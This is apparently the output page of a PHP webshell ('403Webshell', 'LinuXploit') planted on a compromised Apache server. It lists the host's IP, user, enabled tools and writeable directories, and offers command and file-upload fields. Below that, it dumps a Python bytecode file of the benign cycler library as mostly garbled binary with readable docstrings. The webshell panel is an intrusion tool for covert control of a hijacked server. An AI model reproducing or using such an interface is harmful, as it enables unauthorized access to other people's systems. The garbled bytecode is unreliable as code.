403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.216.90
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/__pycache__/cycler.cpython-311.pyc
�

�k{a�8��t�dZddlZddlmZddlmZmZddlmZm	Z	dZ
d�Zd�ZGd	�d
��Z
d�Zd�ZdS)
a�
Cycler
======

Cycling through combinations of values, producing dictionaries.

You can add cyclers::

    from cycler import cycler
    cc = (cycler(color=list('rgb')) +
          cycler(linestyle=['-', '--', '-.']))
    for d in cc:
        print(d)

Results in::

    {'color': 'r', 'linestyle': '-'}
    {'color': 'g', 'linestyle': '--'}
    {'color': 'b', 'linestyle': '-.'}


You can multiply cyclers::

    from cycler import cycler
    cc = (cycler(color=list('rgb')) *
          cycler(linestyle=['-', '--', '-.']))
    for d in cc:
        print(d)

Results in::

    {'color': 'r', 'linestyle': '-'}
    {'color': 'r', 'linestyle': '--'}
    {'color': 'r', 'linestyle': '-.'}
    {'color': 'g', 'linestyle': '-'}
    {'color': 'g', 'linestyle': '--'}
    {'color': 'g', 'linestyle': '-.'}
    {'color': 'b', 'linestyle': '-'}
    {'color': 'b', 'linestyle': '--'}
    {'color': 'b', 'linestyle': '-.'}
�N)�reduce)�product�cycle)�mul�addz0.10.0c�8�|�tt|����ni}|�tt|����ni}t|�����}t|�����}||zrt	d���||zS)a
    Helper function to compose cycler keys.

    Parameters
    ----------
    left, right : iterable of dictionaries or None
        The cyclers to be composed.

    Returns
    -------
    keys : set
        The keys in the composition of the two cyclers.
    Nz"Can not compose overlapping cycles)�next�iter�set�keys�
ValueError)�left�right�l_peek�r_peek�l_key�r_keys      �(/usr/lib/python3/dist-packages/cycler.py�
_process_keysr4s���"&�!1�T�$�t�*�*�
�
�
�r�F�"'�"3�T�$�u�+�+�
�
�
��F�����
�
���E�����
�
���E��u�}�?��=�>�>�>��5�=��c�@���|j|jkr>td�|j|jz|j|jz������|����|����t	t
��fd�|jD����S)aS
    Concatenate `Cycler`\s, as if chained using `itertools.chain`.

    The keys must match exactly.

    Examples
    --------
    >>> num = cycler('a', range(3))
    >>> let = cycler('a', 'abc')
    >>> num.concat(let)
    cycler('a', [0, 1, 2, 'a', 'b', 'c'])

    Returns
    -------
    `Cycler`
        The concatenated cycler.
    zBKeys do not match:
	Intersection: {both!r}
	Disjoint: {just_one!r})�both�just_onec3�V�K�|]#}t|�|�|z��V��$dS�N��_cycler)�.0�k�_l�_rs  ��r�	<genexpr>zconcat.<locals>.<genexpr>es9�����E�E�a���2�a�5�2�a�5�=�1�1�E�E�E�E�E�Er)rr
�format�by_keyrr)rrr r!s  @@r�concatr%Ks�����$�y�E�J����4�4:�F�"&�)�e�j�"8�&*�i�%�*�&<�5;�5>�5>�?�?�	?�

�����B�	�����B��#�E�E�E�E�E�4�9�E�E�E�F�F�Frc��eZdZdZd�Zdd�Zd�Zed���Zd�Z	e
d���Zd	�Zd
�Z
d�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�ZdZd�Zd�Zd�ZeZd�ZeZdS)�Cyclera�
    Composable cycles.

    This class has compositions methods:

    ``+``
      for 'inner' products (zip)

    ``+=``
      in-place ``+``

    ``*``
      for outer products (`itertools.product`) and integer multiplication

    ``*=``
      in-place ``*``

    and supports basic slicing via ``[]``.

    Parameters
    ----------
    left, right : Cycler or None
        The 'left' and 'right' cyclers.
    op : func or None
        Function which composes the 'left' and 'right' cyclers.
    c� �t|��Sr)r��selfs r�__call__zCycler.__call__�s���T�{�{�rNc��t|t��r&t|j|j|j��|_n|�d�|D��|_nd|_t|t��r&t|j|j|j��|_n|�d�|D��|_nd|_t|j|j��|_||_dS)zf
        Semi-private init.

        Do not use this directly, use `cycler` function instead.
        Nc�6�g|]}tj|����S���copy�r�vs  r�
<listcomp>z#Cycler.__init__.<locals>.<listcomp>�s ��5�5�5�1�$�)�A�,�,�5�5�5rc�6�g|]}tj|����Sr.r/r1s  rr3z#Cycler.__init__.<locals>.<listcomp>�s ��7�7�7�A�4�9�Q�<�<�7�7�7r)�
isinstancer'�_left�_right�_opr�_keys)r*rr�ops    r�__init__zCycler.__init__�s����d�F�#�#�	���
�D�K���B�B�D�J�J�
�
�6�5��5�5�5�D�J�J��D�J��e�V�$�$�	� ���e�l�E�I�F�F�D�K�K�
�
�8�7��7�7�7�D�K�K��D�K�"�4�:�t�{�;�;��
�����rc��||jvSr)r9)r*rs  r�__contains__zCycler.__contains__�s���D�J��rc�*�t|j��S)z!The keys this Cycler knows about.)rr9r)s rrzCycler.keys�s���4�:���rc�:�����krdS�|jvr$td����������|jvr$td���������|j����|j����|j�+�|jjvr|j�����dSt|j
t��r|j
�����dS��fd�|j
D��|_
dS)a
        Change a key in this cycler to a new name.
        Modification is performed in-place.

        Does nothing if the old key is the same as the new key.
        Raises a ValueError if the new key is already a key.
        Raises a KeyError if the old key isn't a key.
        Nz6Can't replace {old} with {new}, {new} is already a key)�old�newz2Can't replace {old} with {new}, {old} is not a keyc�$��g|]}�|�i��
Sr.r.)r�entryrAr@s  ��rr3z%Cycler.change_key.<locals>.<listcomp>�s"���D�D�D��3��c�
�+�D�D�Dr)r9r
r#�KeyError�removerr7r�
change_keyr5r6r')r*r@rAs ``rrFzCycler.change_key�s9�����#�:�:��F��$�*����H���C�S��)�)���
��d�j� � ��O�"�F�s��F�4�4�6�6�
6�	
�
���#�����
���s�����;�"�s�d�k�.>�'>�'>��K�"�"�3��,�,�,�,�,���
�F�
+�
+�	E��J�!�!�#�s�+�+�+�+�+�
E�D�D�D�D���D�D�D�D�J�J�Jrc�n��|d��}t�fd�|D����|_�h|_|S)a�
        Class method to create 'base' Cycler objects
        that do not have a 'right' or 'op' and for which
        the 'left' object is not another Cycler.

        Parameters
        ----------
        label : str
            The property key.

        itr : iterable
            Finite length iterable of the property values.

        Returns
        -------
        `Cycler`
            New 'base' cycler.
        Nc3� �K�|]}�|iV��	dSrr.)rr2�labels  �rr"z$Cycler._from_iter.<locals>.<genexpr>�s'�����1�1��%���1�1�1�1�1�1r)�listr6r9)�clsrI�itr�rets `  r�
_from_iterzCycler._from_iter�sD���(�c�$�i�i���1�1�1�1�S�1�1�1�1�1��	��G��	��
rc����t�t��rG|���}tt�fd�|���D����St
d���)Nc3�J�K�|]\}}t||���V��dSrr)rrr2�keys   �rr"z%Cycler.__getitem__.<locals>.<genexpr>�s5�����M�M�t�q�!���1�S�6� 2� 2�M�M�M�M�M�Mrz+Can only use slices with Cycler.__getitem__)r5�slicer$rr�itemsr
)r*rQ�transs ` r�__getitem__zCycler.__getitem__�s_����c�5�!�!�	L��K�K�M�M�E��#�M�M�M�M�u�{�{�}�}�M�M�M�N�N�N��J�K�K�Krc#�K�|j�|jD]}t|��V��dS|�|j|j��D]5\}}i}|�|��|�|��|V��6dSr)r7r6�dictr8�update)r*r�a�b�outs     r�__iter__zCycler.__iter__�s������;���
�
!�
!���4�j�j� � � � �
!�
!������T�[�9�9�
�
���1����
�
�1�
�
�
��
�
�1�
�
�
��	�	�	�	�	
�
rc���t|��t|��kr/tdt|���dt|�������t||t��S)z�
        Pair-wise combine two equal length cyclers (zip).

        Parameters
        ----------
        other : Cycler
        z&Can only add equal length cycles, not z and )�lenr
r'�zip�r*�others  r�__add__zCycler.__add__�sr���t�9�9��E�
�
�"�"��A�$'��I�I�A�A�47��J�J�A�A�B�B�
B��d�E�3�'�'�'rc� ��t�t��rt|�t��St�t��rG|���}tt�fd�|���D����StS)z�
        Outer product of two cyclers (`itertools.product`) or integer
        multiplication.

        Parameters
        ----------
        other : Cycler or int
        c3�D�K�|]\}}t||�z��V��dSrr)rrr2ras   �rr"z!Cycler.__mul__.<locals>.<genexpr>s5�����N�N���1���1�U�7� 3� 3�N�N�N�N�N�Nr)	r5r'r�intr$rrrS�NotImplemented)r*rarTs ` r�__mul__zCycler.__mul__s{����e�V�$�$�	"��$��w�/�/�/�
��s�
#�
#�	"��K�K�M�M�E��#�N�N�N�N����
�
�N�N�N�O�O�O�!�!rc��||zSrr.r`s  r�__rmul__zCycler.__rmul__s���e�|�rc���tttti}|j�t|j��St|j��}t|j��}||j||��Sr)r_�minrrr7r^r6r8)r*�op_dict�l_len�r_lens    r�__len__zCycler.__len__s[����W�c�*���;���t�z�?�?�"��D�J�����D�K� � �� �w�t�x� ���.�.�.rc��t|t��std���tj|��}t	||��|_||_t|_t|j|j	|j��|_	|S)z�
        In-place pair-wise combine two equal length cyclers (zip).

        Parameters
        ----------
        other : Cycler
        z"Cannot += with a non-Cycler object)
r5r'�	TypeErrorr0rr9r6r_r8r7�r*ra�old_selfs   r�__iadd__zCycler.__iadd__#sp���%��(�(�	B��@�A�A�A��9�T�?�?��"�8�U�3�3��
���
�����U�[�%�,��	�B�B����rc��t|t��std���tj|��}t	||��|_||_t|_t|j|j	|j��|_	|S)z�
        In-place outer product of two cyclers (`itertools.product`).

        Parameters
        ----------
        other : Cycler
        z"Cannot *= with a non-Cycler object)
r5r'rqr0rr9r6rr8r7rrs   r�__imul__zCycler.__imul__5sp���%��(�(�	B��@�A�A�A��9�T�?�?��"�8�U�3�3��
���
�����U�[�%�,��	�B�B����rc��t|��t|��krdS|j|jzrdStd�t||��D����S)NFc3�(K�|]
\}}||kV��dSrr.)rrYrZs   rr"z Cycler.__eq__.<locals>.<genexpr>Ls*����7�7�d�a��1��6�7�7�7�7�7�7r)r^r�allr_r`s  r�__eq__z
Cycler.__eq__Gs[���t�9�9��E�
�
�"�"��5��9�u�z�!�	��5��7�7�c�$��&6�&6�7�7�7�7�7�7rc��||kSrr.r`s  r�__ne__z
Cycler.__ne__Ns���E�M�"�"rc�*��tdtdi}|j�=|j����t�fd�|D����}d��d|�d�S|�|jd��}d}|�|j	||j�	��S)
N�+�*c3�(�K�|]}|�V��
dSrr.�rr2�labs  �rr"z"Cycler.__repr__.<locals>.<genexpr>Ws'�����,�,�!�q��v�,�,�,�,�,�,rzcycler(z, �)�?z({left!r} {op} {right!r}))rr:r)
r_rr7r�poprJ�getr8r#r6)r*�op_maprLr:�msgr�s     @r�__repr__zCycler.__repr__Ss�����s�G�S�)���;���)�-�-�/�/�C��,�,�,�,�t�,�,�,�,�,�C�.�S�.�.�c�.�.�.�.����D�H�c�*�*�B�-�C��:�:�4�:�"�D�K�:�H�H�Hrc���d}t|jt���}|D]}|d|�d�z
}�t|��D] }|dz
}|D]}|d||�d�z
}�|dz
}�!|d	z
}|S)
Nz<table>)rQz<th>z</th>z<tr>z<td>z</td>z</tr>z</table>)�sortedr�reprr
)r*�output�sorted_keysrQ�drs      r�_repr_html_zCycler._repr_html_^s������T�Y�D�1�1�1���	*�	*�C��)�S�)�)�)�)�F�F��d���	�	�A��f��F� �
/�
/���.��1��.�.�.�.����g��F�F��*����
rc��|j}d�|D��}|D](}|D]#}||�||���$�)|S)a�
        Values by key.

        This returns the transposed values of the cycler.  Iterating
        over a `Cycler` yields dicts with a single value for each key,
        this method returns a `dict` of `list` which are the values
        for the given key.

        The returned value can be used to create an equivalent `Cycler`
        using only `+`.

        Returns
        -------
        transpose : dict
            dict of lists of the values for each key.
        c�,�i|]}|t����Sr.)rJ)rrs  r�
<dictcomp>z!Cycler.by_key.<locals>.<dictcomp>�s��'�'�'�Q�q�$�&�&�'�'�'r)r�append)r*rr[r�rs     rr$z
Cycler.by_keylsc��*�y��'�'�$�'�'�'���	$�	$�A��
$�
$���A��
�
�a��d�#�#�#�#�
$��
rc��|���}ttd�|���D����S)z�
        Simplify the cycler into a sum (but no products) of cyclers.

        Returns
        -------
        simple : Cycler
        c3�<K�|]\}}t||��V��dSrr�rrr2s   rr"z"Cycler.simplify.<locals>.<genexpr>�s.����D�D�d�a��G�A�q�M�M�D�D�D�D�D�Dr)r$rrrS)r*rTs  r�simplifyzCycler.simplify�s8�����
�
���c�D�D�e�k�k�m�m�D�D�D�E�E�Er)NN)�__name__�
__module__�__qualname__�__doc__r+r;r=�propertyrrF�classmethodrNrUr\rbrgrirortrvrzr|�__hash__r�r�r$�
_transposer�r%r.rrr'r'hs���������6�������6�������X��"E�"E�"E�H����[��0L�L�L�	�	�	�(�(�(�"�"�"�"���/�/�/����$���$8�8�8�#�#�#��H�	I�	I�	I�������<�J�F�F�F� �F�F�Frr'c���|r|rtd���t|��dkr?t|dt��std���t|d��St|��dkr	t	|�St|��dkrtd���|r1ttd�|���D����Std���)	a�
    Create a new `Cycler` object from a single positional argument,
    a pair of positional arguments, or the combination of keyword arguments.

    cycler(arg)
    cycler(label1=itr1[, label2=iter2[, ...]])
    cycler(label, itr)

    Form 1 simply copies a given `Cycler` object.

    Form 2 composes a `Cycler` as an inner product of the
    pairs of keyword arguments. In other words, all of the
    iterables are cycled simultaneously, as if through zip().

    Form 3 creates a `Cycler` from a label and an iterable.
    This is useful for when the label cannot be a keyword argument
    (e.g., an integer or a name that has a space in it).

    Parameters
    ----------
    arg : Cycler
        Copy constructor for Cycler (does a shallow copy of iterables).
    label : name
        The property key. In the 2-arg form of the function,
        the label can be any hashable object. In the keyword argument
        form of the function, it must be a valid python identifier.
    itr : iterable
        Finite length iterable of the property values.
        Can be a single-property `Cycler` that would
        be like a key change, but as a shallow copy.

    Returns
    -------
    cycler : Cycler
        New `Cycler` for the given property

    zBcyl() can only accept positional OR keyword arguments -- not both.�rzDIf only one positional argument given, it must be a Cycler instance.�zdOnly a single Cycler can be accepted as the lone positional argument. Use keyword arguments instead.c3�<K�|]\}}t||��V��dSrrr�s   rr"zcycler.<locals>.<genexpr>�s.����E�E�d�a��G�A�q�M�M�E�E�E�E�E�Erz4Must have at least a positional OR keyword arguments)rqr^r5r'rrrrS)�args�kwargss  r�cyclerr��s���L�2��2��1�2�2�	2��4�y�y�A�~�~��$�q�'�6�*�*�	5��4�5�5�
5��d�1�g����	�T���a�����~��	�T���Q����N�O�O�	O��G��c�E�E�f�l�l�n�n�E�E�E�F�F�F�
�J�
K�
K�Krc���t|t��rM|j}t|��dkrd}t	|���|�����fd�|D��}t�||��S)aD
    Create a new `Cycler` object from a property name and iterable of values.

    Parameters
    ----------
    label : hashable
        The property key.
    itr : iterable
        Finite length iterable of the property values.

    Returns
    -------
    cycler : Cycler
        New `Cycler` for the given property
    r�z2Can not create Cycler from a multi-property Cyclerc3�(�K�|]}|�V��
dSrr.r�s  �rr"z_cycler.<locals>.<genexpr>�s'�����#�#�!�q��v�#�#�#�#�#�#r)r5r'rr^r
r�rN)rIrLrr�r�s    @rrr�s|��� �#�v���	$��x���t�9�9��>�>�F�C��S�/�/�!��h�h�j�j��$�#�#�#�s�#�#�#�����U�C�(�(�(r)r�r0�	functoolsr�	itertoolsrr�operatorrr�__version__rr%r'r�rr.rr�<module>r�s���(�(�V����������$�$�$�$�$�$�$�$��������������.G�G�G�:t�t�t�t�t�t�t�t�n	8L�8L�8L�v)�)�)�)�)r

Youez - 2016 - github.com/yon3zu
LinuXploit